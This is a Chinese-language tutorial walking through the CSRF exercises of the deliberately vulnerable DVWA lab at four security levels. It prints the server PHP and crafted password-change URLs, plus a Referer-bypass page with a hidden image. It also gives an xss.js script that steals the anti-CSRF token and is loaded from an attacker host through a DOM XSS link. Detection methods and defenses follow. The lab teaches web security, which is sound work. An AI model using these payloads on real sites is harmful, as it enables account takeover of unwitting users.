Introduction
CSRF(Cross-site request forgery)跨站请求伪造:
主要利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
跨站脚本(XSS)与跨站请求伪造(CSRF)区别
XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
Low
服务端源代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
分析
1、判断是否设置了Change变量
2、新设置的密码与确认密码是否相同
3、相同则将新密码做md5然后做update
4、可以看到并没有验证新旧密码相同,没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现)
漏洞利用
1、观察请求方式
/dvwa/vulnerabilities/csrf/?password_new=test1&password_conf=test1&Change=Change
2、构造url更改点击点击链接受害者的密码
/dvwa/vulnerabilities/csrf/?password_new=yourpasswd&password_conf=yourpasswd&Change=Change
当受害人刚刚登入访问了该站点,session没有失效,点击了这个链接后他的密码就会变成我们构造好的密码,为了增加隐蔽性可以将url换成短url,更高级的可以制作一个攻击的页面,让受害者访问,不知不觉完成攻击(注意使用相同的浏览器)
Middle
服务端源代码
CSRF Source
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
分析
与之前相比,这里检查了是否同源
if( stripos( $_SERVER[ ‘HTTP_REFERER’ ] ,$_SERVER[ ‘SERVER_NAME’ ])
int eregi(string pattern, string string)
检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。
可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.xx.xx),希望通过这种机制抵御CSRF攻击。
漏洞利用
过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.xx.xx)
我们可以将攻击页面命名为192.168.10.11.html(页面被放置在攻击者的服务器里,这里是192.168.10.10)就可以绕过了
<img src="http://192.168.10.11/dvwa/pvulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
抓包后在Repeater中修改HTTP数据包中的Referer参数为
http://192.168.10.10/admin/test_csrf_192.168.10.11.html
High
服务端源代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
分析
关键代码
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Generate Anti-CSRF token
generateSessionToken();
High级别的带入引入了Anti-CSRF token,
用户每次访问改密页面时,服务器会通过generateSessionToken()返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有客户端提交的token参数与服务器端一致时,服务器端才会处理客户端的响应。
漏洞利用
要绕过High Security Level的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。
1、试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。
xss.js
alert(document.cookie);
var theUrl = 'http://192.168.10.11/dvwa/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200)
{
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
console.log(match);
alert(match[1]);
var token = match[1];
var new_url = 'http://192.168.10.11/dvwa/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();
xss.js放置于攻击者的网站上:http://192.168.10.10/admin/xss.js
2、DOM XSS与CSRF结合:
CSRF结合同Security Level的DOM XSS,通过ajax实现跨域请求来获取用户的user_token,用以下链接来让受害者访问:
http://192.168.10.11/dvwa/vulnerabilities/xss_d/?default=English#%3Cscript%20src=%22http://192.168.10.10/admin/xss.js%22%3E%3C/script%3E
成功修改密码为test
Impossible
服务端源代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
分析
关键代码
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
/ Generate Anti-CSRF token
generateSessionToken();
利用PDO技术防御SQL注入,需要输入原密码来进行验证,在不知道原密码的情况下无法进行攻击
$pass_curr = stripslashes( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
CSRF漏洞的分类及检测挖掘方法主要有三种:
第一种:
请求直接是个GET请求,然后请求中没有token验证参数,然后还有一个固定的变量可以被控制。这种是比较常见的一种CSRF漏洞。
检测方法:
网页操作某功能,抓包后,如果发现满足上面条件,然后再去页面测试下,基本就可以确定存在不存在CSRF漏洞了。
第二种:
请求是个POST请求,post请求中没有token参数,然后请求也没有验证referer信息。这种是存在CSRF情况最多的一种。
检测方法:
网页操作某功能,抓包后,如果发现没有token等参数,然后就将referer信息设置为空,再次发包请求,如果请求成功了,就说明这里有CSRF漏洞。如果有token等参数,可以尝试将token去掉,然后再将referer也去掉,进行验证。这种CSRF漏洞的利用,是需要在自己服务器构造一个form表单的,然后将服务器form表单的URL作为CSRF攻击进行利用的,或者用js代码生成form表单,或者用ajax实现。
第三种:
请求是POST,post请求中没有token参数,但是验证了referer信息。然而可以将post请求改写为get请求,然后通过第一种情况下的那个方法利用。
检测方法:
就是先执行了第二种的验证后,发现有对CSRF进行防御。然后将post请求改写为GET请求,发现仍然可以成功执行。漏洞成因是因为服务器端接收请求参数的时候,没有严格的用$_POST 而是用的类似于 $_REQUEST这种post,get请求的参数都可以接收的写法。
防护措施
主要可以应用以下介绍的几种方法:
限制验证cookie的到期时间:
这些cookie的合法时间越短,黑客利用你的Web应用程序的机会就越小。不过,这个时间越短,用户就越不方便。因此,你需要在安全性和方便性之间进行平衡。
执行重要业务之前,要求用户提交额外的信息:
要求用户在进行重要业务前输入口令,这可以防止黑客发动CSRF攻击(只要浏览器中没有包含口令),因为这种重要信息无法预测或轻易获得。
使用秘密的无法预测的验证符号:
当保存在用户浏览器中的cookie仅由一次会话确认时,CSRF攻击才会有效。所以在每次HTTP请求(当然攻击者无法提前知道)中都有附加的特定会话的信息,这样就可以挫败CSRF攻击。不过,如果这种应用程序存在跨站脚本漏洞,黑客就有可能访问这种验证符号。
使用定制的HTTP报头:
如果执行交易的所有请求都使用XMLHttpRequest并附加一个定制的HTTP报头,同时拒绝缺少定制报头的任何请求,就可以用XMLHttpRequest API来防御CSRF攻击。由于浏览器通常仅准许站点将定制的HTTP报头发送给相同站点,从而了防止由CSRF攻击的源站点所发起的交易。
检查访问源的报头:
在浏览者发送HTTP请求时,它通常会包含源自访问源报头的URL。理论上讲,你可以使用这些信息来阻止源自其它任何站点(而不是来自Web应用程序自身)的请求。不过,访问源报头并不总是可用的,(例如,有些单位由于私密性的缘故而将它剥离了),或者这个报头容易被欺骗,所以说,这条措施并不真正有效。